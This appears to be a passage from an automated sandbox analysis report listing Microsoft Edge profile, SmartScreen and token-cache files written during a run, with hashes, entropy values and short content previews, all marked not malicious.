Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ed89.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0008771611613065
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclQ+J:YWLSGTt1o9LuLgfGBPAzkVj/T8lQ+J
MD5:	B4FCDDC61D5B74EF98B0CD47B29AD141
SHA1:	FBC310CEC7CB4FAFAC9138167231FDF970B6A11E
SHA-256:	1FDB27B0FB7851DC15058F0ADE731F0876A43FB0E231F543CE61E2DD3B321B34
SHA-512:	C6565C3D37DE3F77BFDD71A31072F7468D2F4BFDE4D9AF2DCDCE505000309F87AFF3863BBF38C219934E2E27D38E432C1E0F0A068C4332D9B49671E3C597EF37
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1735165705782207}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a0493319-ead7-4610-abdb-9f48cf181c35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44922
Entropy (8bit):	6.094890164157997
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vV90D0sFLEVKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynEXi9t7KtSmd6qE7lFoC
MD5:	B6486EDCFE7EC256465FBD94C65151CC
SHA1:	6AB9889AA6D83CCFA04862D8E07DDCF31517038B
SHA-256:	3A90483165D0E00667819A4FC2921CD8DEE4CA876BFBA2225E8D5020BED5E26D
SHA-512:	6A051F288452EFCC863D1622BA82F279BB7C1A1F7AD47BCED199CAF09FA4FC12186FFC0AA823C80C77A1E103421CEE6C8984016715004FC82A1F67454B5CF503
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f40236e8-fe9b-4c35-a018-31eb490e011c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46144
Entropy (8bit):	6.0874474098903555
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc5dKH1ki1zNt9Xi9vVx+DzJ6PRLv9N2aPeCiozJDSgzMMd6qD47uW:qMk1rT8H1KzXi9tD98aPeFoztSmd6qEL
MD5:	9C9C3B1DF31DE1100253C096BFA50357
SHA1:	4E1893DCE27F314071091F3155E3FA5BB3E4DDE5
SHA-256:	9A2D4310003F537C6D1B9A3AFA34C46624D9795B3BEB914728E3D0D61F173949
SHA-512:	6641CE6FF4DE61580B16B60AE8D15B63FEE233809794B79193414D2E2F54851D9A1DE948999857099161198B4793C0FF52867C97291096F2E3C90623A4774240
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379538500667114","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"b801fd64-6919-4229-a38a-8914add27428"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fdb62123-bd86-4ab9-b1eb-1d1bca17f82e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44930
Entropy (8bit):	6.095030682540709
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vVxwxNQsPeGKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynEXi9t0KtSmd6qE7lFoC
MD5:	C5C719D948684AC649D09EBFD8719922
SHA1:	4E4278B3BDFD4A715FE933EE68F70CBC87CF20B9
SHA-256:	912D6E164AF3574D21FBB491572620C055842B1C0241E1C6A5D35964F2E9E2C2
SHA-512:	019A88D2522646436A138D847C37AF1406B493FE869EEFD10AEB83952EFAD7CA2B393A8001AF7B64E9EDA5F695615ABAACF30B6FFBCCBBE753EEF83244B80F0E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.832920425157591
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxgJxl9Il8uwxYy50owhInigtpPhO0z794Fgtwed1rc:mxYCl0oDDhDz79ogtY
MD5:	AAD6DE7903575937FD8C6475F23AC1D8
SHA1:	843BAE1748ECE0D154475CA2442500C4DDAB44A2
SHA-256:	E9D2F47EDF284BA4527DA014C4EAD04DD0C9819C170136836C94DD97EADA1C28
SHA-512:	2B685CF246336DB37197F4FE3F809E63DAD336567C294938C29CA7458B035903FC2FF02C6FFB0E554057F32A475855119684CC719C7D5F184EA54C9BFC5066E2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.y.p./.z.l.W.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d